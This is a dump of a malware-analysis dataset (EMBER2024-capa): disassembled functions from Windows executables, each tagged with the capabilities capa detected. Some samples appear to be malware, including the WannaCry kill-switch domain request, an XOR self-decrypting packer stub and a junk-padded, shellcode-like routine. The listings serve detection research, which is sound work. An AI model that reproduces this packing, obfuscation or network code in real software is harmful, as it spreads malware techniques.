joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c7735
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4d03a0
cmp edx, dword [eax]
je 0x4c7757
add eax, 8
inc ecx
cmp eax, 0x4d0430
jl 0x4c7748
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4d03a0]
jne 0x4c7885
mov eax, dword [0x4d5de0]
cmp eax, 1
je 0x4c785f
test eax, eax
jne 0x4c7788
cmp dword [0x4d02cc], 1
je 0x4c785f
cmp edx, 0xfc
je 0x4c7885
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c77bf
lea eax, [ebp - 0x1a4]
push 0x4cca80
push eax
call fcn.004c8120
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c85b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c7802
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c85b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4cca7c
push edi
call fcn.004ca480
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4cca60
push eax
call fcn.004c8120
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c8130
lea eax, [ebp - 0xa0]
push 0x4cca5c
push eax
call fcn.004c8130
push dword [esi + 0x4d03a4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c8130
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4cca34
push eax
call fcn.004ca3f4
add esp, 0x2c
pop edi
jmp 0x4c7885
lea eax, [ebp + 8]
lea esi, [esi + 0x4d03a4]
push 0
push eax
push dword [esi]
call fcn.004c85b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x403f50
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
mov eax, dword [esp + 0x20c]
push ebx
push ebp
mov ebp, dword [esp + 0x218]
push esi
push edi
push ebp
push 0
push 0
push eax
push str.open
mov edi, ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x404042
lea ecx, [esp + 0x10]
push ecx
push str..htm
push SysReAllocString
mov ecx, edi
call fcn.00403ce0
test eax, eax
jne 0x404042
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x10]
push eax
push ecx
push SysReAllocString
mov ecx, edi
call fcn.00403ce0
test eax, eax
jne 0x404042
lea edx, [esp + 0x10]
push str.__1_
push edx
call fcn.00410620
mov esi, eax
add esp, 8
test esi, esi
jne 0x404013
lea eax, [esp + 0x10]
push 0x4394a8
push eax
call fcn.004105a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x404013
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x404016
mov byte [esi], 0
push 0x4394a4
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
Function at 0x420ea1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x420ed9
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00423a9f
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00423a77
jmp 0x420ee5
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x422444
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x422486
call fcn.00427ad6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x422486
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42247d
xor eax, eax
jmp 0x42248e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00422494
pop edi
pop esi
pop ebx
ret 4

Function at 0x426335
Capabilities:
Set registry value

Disassembly:
mov eax, 0x42c1e0
call fcn.00410914
push ecx
push ecx
push esi
push 0x10
call fcn.00422bd9
mov esi, eax
pop ecx
mov dword [ebp - 0x14], esi
and dword [ebp - 4], 0
test esi, esi
je 0x426382
mov ecx, esi
call fcn.0042472b
mov eax, dword [0x439b90]
lea ecx, [esi + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov byte [ebp - 4], 2
mov dword [esi], vtable.CArchiveException.0
mov dword [esi + 8], eax
call fcn.0042385b
jmp 0x426384
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
push 0x435218
push eax
mov dword [ebp - 0x10], esi
call fcn.004104a2
pop esi
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
jmp 0x4081a7
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x2d5d75e7
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0xb481217
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4ee95d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ee7d3
Function at 0x7ffe53a7
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
push edx
cdq
pop edx
clc
lea esp, [esp]
cld
add eax, 0
clc
add eax, 0
cld
push edx
cdq
pop edx
clc
lea esp, [esp]
cld
add eax, 0
clc
add eax, 0
nop
lea esp, [esp]
cld
and bh, 0xff
cld
push edx
cdq
pop edx
clc
add eax, 0
clc
lea esp, [esp]
nop
lea esp, [esp]
stc
pushal
inc eax
popal
clc
and bh, 0xff
stc
lea esp, [esp]
clc
push edx
cdq
pop edx
clc
pushal
inc eax
popal
cld
add eax, 0
cld
add eax, 0
clc
add eax, 0
cld
pushal
inc eax
popal
cld
add eax, 0
cld
cld
cld
call 0x7ffe5414
pop edx
lea esp, [esp]
cld
add eax, 0
xor dx, dx
stc
add al, 0
cld
add edx, 0xd5e0
add eax, 0
nop
add al, 0
nop
xor ecx, ecx
push edx
cdq
pop edx
pushal
inc eax
popal
mov cl, 0x1e
lea esp, [esp]
stc
cld
stc
cld
xor byte [ecx + edx], 0x4a
loop 0x7ffe5441
cld
add eax, 0
cld
nop
push dword fs:[0x24]
cld
pushal
inc eax
popal
stc
lea esp, [esp]
stc
pop dword [edx + 0xa]
lea esp, [esp]
clc
cld
cld
mov cl, 0xff
add eax, 0
stc
push edx
cdq
pop edx
stc
cld
push edx
loop 0x7ffe5471
mov dword [edx + 0x11], 0xffffacbb
nop
clc
cld
mov ecx, dword [eax + 0x2c]
mov dword [edx + 0x1b], ecx
pushal
inc eax
popal
cld
clc
mov dword [edx + 0x100], ecx
mov dword [eax + 0x2c], esp
cld
cld
cld
push 0
and bh, 0xff
and al, 0xff
stc
push 0
push edx
cdq
pop edx
push 0
cld
nop
push 0
push edx
cdq
pop edx
cld
cld
push 0x30
nop
pushal
inc eax
popal
nop
nop
push 0x20
stc
lea esp, [esp]
clc
push 0
push 0
pushal
inc eax
popal
cld
lea esp, [esp]
stc
clc
add edx, 0xffff7f2d
nop
push edx
cdq
pop edx
cld
nop
push edx
add al, 0
stc
push edx
push 0
cld
and bh, 0xff
push eax
pop eax
cld
call dword [edx + 0x8216]
add esp, 0x3f8
cld
lea esp, [esp]
cld
push edx
cdq
pop edx
clc
xor eax, eax
inc eax
pushal
inc eax
popal
cld
pushal
inc eax
popal
cld
nop
ret 0xc
Function at 0x401e20
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
push ebx
push esi
push edi
lea edi, [ebp - 0x1d0]
mov ecx, 0x74
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
xor eax, eax
mov al, byte [0x433d9c]
test eax, eax
je 0x401e61
lea ecx, [ebp - 0x190]
push ecx
push 0x202
call sub.WSOCK32.dll_WSAStartup
mov byte [0x433d9c], 0
pop edi
pop esi
pop ebx
add esp, 0x1d0
cmp ebp, esp
call fcn.00406490
mov esp, ebp
pop ebp
ret

Function at 0x4029f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x50]
mov ecx, 0x14
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp + 0xc]
jae 0x402a61
push 0
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call sub.WSOCK32.dll_send
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jg 0x402a56
call sub.WSOCK32.dll_WSAGetLastError
push eax
mov ecx, dword [ebp - 4]
call fcn.004010fa
jmp 0x402a71
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x402a1a
cmp dword [ebp + 0x10], 0
je 0x402a6f
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0x50
cmp ebp, esp
call fcn.00406490
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40a630
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40a65b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004133f0
add esp, 4
or eax, 0xffffffff
jmp 0x40a68a
mov ecx, dword [ebp - 4]
and ecx, 1
test ecx, ecx
je 0x40a688
mov edx, dword [ebp + 0xc]
and edx, 2
test edx, edx
je 0x40a688
mov dword [0x434f34], 0xd
mov dword [0x434f38], 5
or eax, 0xffffffff
jmp 0x40a68a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0xb66058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00b661a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xb6607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb6606a
add dl, dl
jne 0xb66089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb660dc
xor eax, eax
add dl, dl
jne 0xb66096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb6617d
add dl, dl
jne 0xb660a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb660b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb660bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb660c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xb660d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xb66075
mov eax, 1
add dl, dl
jne 0xb660ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb660f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb660e1
sub eax, ebx
mov ebx, 1
jne 0xb66128
mov ecx, 1
add dl, dl
jne 0xb6610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb66119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb66105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb66075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xb6613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb6614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb66136
cmp eax, 0x7d00
jae 0xb6616d
cmp eax, 0x500
jb 0xb66168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb66075
cmp eax, 0x7f
ja 0xb66170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb66075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xb6619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xb66075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x404680
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45d278
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x476028]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push 0
lea eax, [ebp - 0x30]
push eax
push 0
push 0
push dword [ebp + 0x10]
mov dword [ebp - 0x40], 0
push ebx
mov dword [ebp - 0x30], 0
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x404705
xor eax, eax
push 0xffffffffffffffff
push eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
push 0x477550
mov ecx, esi
mov word [esi], ax
call fcn.0040e650
jmp 0x4047a5
mov eax, dword [ebp - 0x30]
shr eax, 1
push eax
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
call fcn.004059d0
push 0
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x3c]
push edi
push 0
push dword [ebp + 0x10]
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov eax, dword [ebp - 0x30]
shr eax, 1
xor ecx, ecx
push eax
mov word [ebp - 0x2c], cx
push edi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
call fcn.0040e9c0
lea eax, [ebp - 0x2c]
push eax
mov ecx, esi
call fcn.0040e480
cmp dword [ebp - 0x18], 8
jb 0x404784
push dword [ebp - 0x2c]
call fcn.0043f2ce
add esp, 4
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
test edi, edi
je 0x4047a5
push edi
call fcn.0043f2ce
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0043f2bf
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40d250
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45cd9a
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x476028]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.0042b430
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x40d2f6
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x14], str.bad_locale_name
call fcn.0043fb26
push 0x46f7c0
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], vtable.std::runtime_error.0
call fcn.004430bb
push edi
push esi
call fcn.0042b2dc
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043f2bf
mov esp, ebp
pop ebp
ret 4
Function at 0x40f470
Capabilities:
Encode data using xor
Encrypt data using xxtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, edx
mov esi, ecx
mov dword [ebp - 8], esi
cmp edi, 1
jle 0x40f570
mov eax, 0x34
cdq
idiv edi
lea edx, [edi - 1]
lea edx, [esi + edx*4]
mov dword [ebp - 0x18], edx
lea edx, [edi - 1]
mov dword [ebp - 0x14], edx
add eax, 6
mov dword [ebp - 0x10], eax
mov eax, dword [esi + edi*4 - 4]
xor ecx, ecx
mov dword [ebp - 4], eax
nop
sub ecx, 0x61c88647
mov ebx, ecx
shr ebx, 2
and ebx, 3
xor edi, edi
mov dword [ebp - 0xc], ecx
test edx, edx
je 0x40f51c
jmp 0x40f4d0
mov edx, dword [esi + edi*4 + 4]
shr eax, 5
lea esi, [edx*4]
xor esi, eax
mov eax, dword [ebp - 4]
shl eax, 4
mov ecx, edx
xor edx, dword [ebp - 0xc]
shr ecx, 3
xor ecx, eax
mov eax, edi
and eax, 3
xor eax, ebx
add esi, ecx
mov ecx, dword [ebp + 8]
inc edi
mov eax, dword [ecx + eax*4]
xor eax, dword [ebp - 4]
add eax, edx
xor esi, eax
mov eax, dword [ebp - 8]
add dword [eax + edi*4 - 4], esi
mov esi, eax
mov eax, dword [esi + edi*4 - 4]
mov dword [ebp - 4], eax
cmp edi, dword [ebp - 0x14]
jb 0x40f4d0
mov edx, dword [esi]
shr eax, 5
lea esi, [edx*4]
xor esi, eax
mov eax, dword [ebp - 4]
shl eax, 4
mov ecx, edx
shr ecx, 3
xor ecx, eax
mov eax, dword [ebp + 8]
and edi, 3
xor edi, ebx
add esi, ecx
mov eax, dword [eax + edi*4]
xor eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor edx, ecx
add eax, edx
mov edx, dword [ebp - 0x14]
xor esi, eax
mov eax, dword [ebp - 0x18]
add dword [eax], esi
dec dword [ebp - 0x10]
mov eax, dword [eax]
mov esi, dword [ebp - 8]
mov dword [ebp - 4], eax
jne 0x40f4b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp edi, 0xffffffff
jge 0x40f645
neg edi
mov eax, 0x34
cdq
idiv edi
mov ecx, dword [esi]
lea ebx, [edi - 1]
mov dword [ebp - 0x10], ebx
lea edx, [eax + 6]
imul edx, edx, 0x9e3779b9
lea eax, [esi - 4]
mov dword [ebp - 4], edx
lea eax, [eax + edi*4]
mov dword [ebp - 0x18], eax
mov eax, edx
shr eax, 2
and eax, 3
mov dword [ebp - 0x14], eax
test ebx, ebx
je 0x40f5f4
nop
mov esi, dword [esi + ebx*4 - 4]
mov eax, esi
shr eax, 5
lea edi, [ecx*4]
xor edi, eax
mov edx, ecx
xor ecx, dword [ebp - 4]
mov eax, esi
shl eax, 4
shr edx, 3
xor edx, eax
mov eax, ebx
and eax, 3
xor eax, dword [ebp - 0x14]
add edi, edx
mov edx, dword [ebp + 8]
mov eax, dword [edx + eax*4]
xor eax, esi
mov esi, dword [ebp - 8]
add eax, ecx
xor edi, eax
sub dword [esi + ebx*4], edi
dec ebx
mov ecx, dword [esi + ebx*4 + 4]
jne 0x40f5b0
mov eax, dword [ebp - 0x18]
lea edi, [ecx*4]
mov esi, dword [eax]
mov eax, esi
shr eax, 5
xor edi, eax
mov edx, ecx
mov eax, esi
shl eax, 4
shr edx, 3
xor edx, eax
mov eax, dword [ebp + 8]
and ebx, 3
xor ebx, dword [ebp - 0x14]
add edi, edx
mov edx, dword [ebp - 4]
mov eax, dword [eax + ebx*4]
mov ebx, dword [ebp - 0x10]
xor eax, esi
mov esi, dword [ebp - 8]
xor ecx, edx
add eax, ecx
xor edi, eax
sub dword [esi], edi
mov ecx, dword [esi]
add edx, 0x61c88647
mov dword [ebp - 4], edx
jne 0x40f5a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f810
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x476028]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479008], 0x10
mov edx, 0x478ff4
cmovae edx, dword [0x478ff4]
push esi
mov eax, edx
push edi
mov esi, ecx
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x70], 0x67452301
mov dword [ebp - 0x6c], 0xefcdab89
mov dword [ebp - 0x68], 0x98badcfe
mov dword [ebp - 0x64], 0x10325476
lea edi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40f870
sub eax, edi
push eax
push edx
lea ecx, [ebp - 0x70]
call fcn.0040f2f0
lea ecx, [ebp - 0x70]
call fcn.0040f3a0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
mov ecx, esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.00411020
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0043f2bf
mov esp, ebp
pop ebp
ret
Function at 0x415a60
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45e272
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x476028]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 0
mov dword [esi], 0x46af20
mov dword [esi + 0x70], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 0
mov eax, dword [esi]
lea edi, [esi + 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], 1
mov dword [esi + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
push ecx
lea eax, [ecx - 0x18]
mov dword [ecx + esi - 4], eax
mov eax, dword [esi]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov ecx, dword [eax + 4]
push edi
add ecx, esi
call fcn.00412110
mov dword [ebp - 4], 2
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov dword [esi + eax], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ecx + esi - 4], eax
mov ecx, edi
call fcn.004103d0
lea eax, [edi + 4]
mov dword [edi + 0xc], eax
lea eax, [edi + 0x14]
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
mov dword [edi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [edi + 0x4c], 0
mov byte [edi + 0x45], 0
lea ecx, [edi + 8]
mov dword [edi + 0x10], ecx
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, dword [0x478fd4]
mov dword [edi + 0x50], 0
mov dword [edi + 0x48], eax
mov dword [edi + 0x40], 0
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 3
cmp dword [eax + 0x14], 8
jb 0x415b95
mov eax, dword [eax]
push ecx
push 0x25
push eax
mov ecx, edi
call fcn.004166f0
test eax, eax
jne 0x415bc3
mov eax, dword [esi]
mov ecx, dword [eax + 4]
mov eax, dword [ecx + esi + 0xc]
add ecx, esi
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x415bbb
or eax, 4
push 0
push eax
call fcn.0040dd70
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10